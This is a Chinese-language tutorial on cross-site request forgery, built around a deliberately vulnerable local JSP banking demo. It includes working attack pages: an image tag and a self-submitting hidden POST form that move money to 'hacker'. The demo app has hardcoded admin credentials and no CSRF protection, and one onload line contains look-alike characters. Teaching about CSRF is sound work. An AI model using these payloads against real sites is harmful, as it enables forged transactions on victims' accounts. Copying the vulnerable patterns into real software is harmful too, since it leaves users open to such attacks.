1简介
1.1什么是CSRF
原理图:
CSRF(Cross SiteRequest Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。
1.2模拟转账时遭到CSRF攻击
1.2.1正常转账流程
- 首先在主页http://localhost:8080/testXSS/login.jsp输入账号密码,点击登录
- 进入成功界面后,进行转账操作
- 点击转账,成功后如下:
- 如果是其他人在其他地方直接输入登录成功后的界面
http://localhost:8080/testXSS/login_success.jsp或者 输入转账的API
http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6,则session不匹配,会跳转到登录界面:
1.2.2CSRF攻击
- 黑客自己建一个hack.jsp文件,里面包含这样一行代码
<img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">
然后将hack.jsp的链接 http://localhost:8080/testXSS/hacker.jsp发给受害人。
- 受害人点击链接后,出现的界面如下:
- 但是此时已经进行了一个将受害人的钱转给黑客的操作了,从服务端可以看出
如果黑客在自己电脑上做这个 操作,会因为session不匹配而无法进行转账
下面是代码:
login.jsp
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>阿飞银行</title>
</head>
<body>
<div>
<form action="dologin.jsp" method="post">
<span>用户名</span>
<input type="text" name="username" />
<span>密码</span>
<input type="text" name="password" />
<input type="submit" value="登录"/>
</form>
</div>
</body>
</html>
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<%
String path=request.getContextPath();
String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/";
String username="";
String password="";
request.setCharacterEncoding("utf-8");
username=request.getParameter("username");
password=request.getParameter("password");
out.println(username);
out.println(password);
if("admin".equals(username) && "admin".equals(password)){
session.setAttribute("loginUser",username);
response.sendRedirect("login_success.jsp");
}else{
response.sendRedirect("login_failure.jsp");
}
%>
login_success.jsp
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<%
String path=request.getContextPath();
String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/";
String username=(String)session.getAttribute("loginUser");
request.setCharacterEncoding("utf-8");
out.println(username);
if( username != null){
// session.invalidate();
}else{
response.sendRedirect("login.jsp");
}
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>阿飞银行</title>
</head>
<body>
<div>
欢迎<h3><%=session.getAttribute("loginUser") %></h3>,登录成功!!!!
</div> </br></br>
<form action="transfer.jsp" method="get">
转账人: <input type="text" id="from" name="from"></br>
转账金额: <input type="text" id="account" name="account"></br>
收账人: <input type="text" id="to" name="to"></br></br>
<input type="submit" id="submit" name="submit" value="转账">
</form>
</body>
</html>
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>阿飞银行</title>
</head>
<body>
<div>
登录失败,请检查用户名或者密码!!!
<a href="login.jsp">login</a>
</div>
</body>
</html>
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>阿飞银行</title>
</head>
<body>
<div>
欢迎<h3><%=session.getAttribute("loginUser") %>
</div> </br></br>
<%
String username=(String)session.getAttribute("loginUser");
request.setCharacterEncoding("utf-8");
if( username == null){
response.sendRedirect("login.jsp");
return;
}
String from="";
String account="";
String to="";
request.setCharacterEncoding("utf-8");
from=request.getParameter("from");
account=request.getParameter("account");
to= request.getParameter("to");
%>
<%=from%> 向 <%=to%> 转账了 <%=account%> 块钱
<%
System.out.println(from + " 向 " + to + " 转账了 " + account + " 块钱");
%>
</body>
</html>
hacker.jsp
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>一个很好很好的网站</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">
</body>
</html>
如果转账操作都是POST请求的话,那么就不能使用上面的方法进行CSRF攻击了。这时黑客可以做一个界面,隐藏表单,请求方式为POST,加载时自动提交表单。
将login_success.jsp里的提交方式由get改成post,然后在transfer.jsp里加上一句
if(request.getMethod().equals("GET")){
return;
}
这样就只处理POST请求了,这时候黑客构造另一个网页
hacker_post.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>攻击者主机页面</title>
<script type="text/javascript">
window.οnlοad= function(){
document.getElementById("ok").click();
}
/*
function gy(){
document.getElementById('ok').οnclick= function(e) {
};
}
gy();*/
</script>
</head>
<body>
<form style="display: none;" id="csrf" action="http://localhost:8080/testXSS/transfer.jsp" method="post" >
<input type="text" name="from" value="infi">
<input type="text" name="account" value="10000">
<input type="text" name="to" value="hacker">
<input type="submit" id="ok" name="submit" value="%E8%BD%AC%E8%B4%A6" >
</form>
</body>
</html>
然后将hacker_post.html的链接 http://localhost:8080/testXSS/hacker_post.html 发给受害人,其他操作同上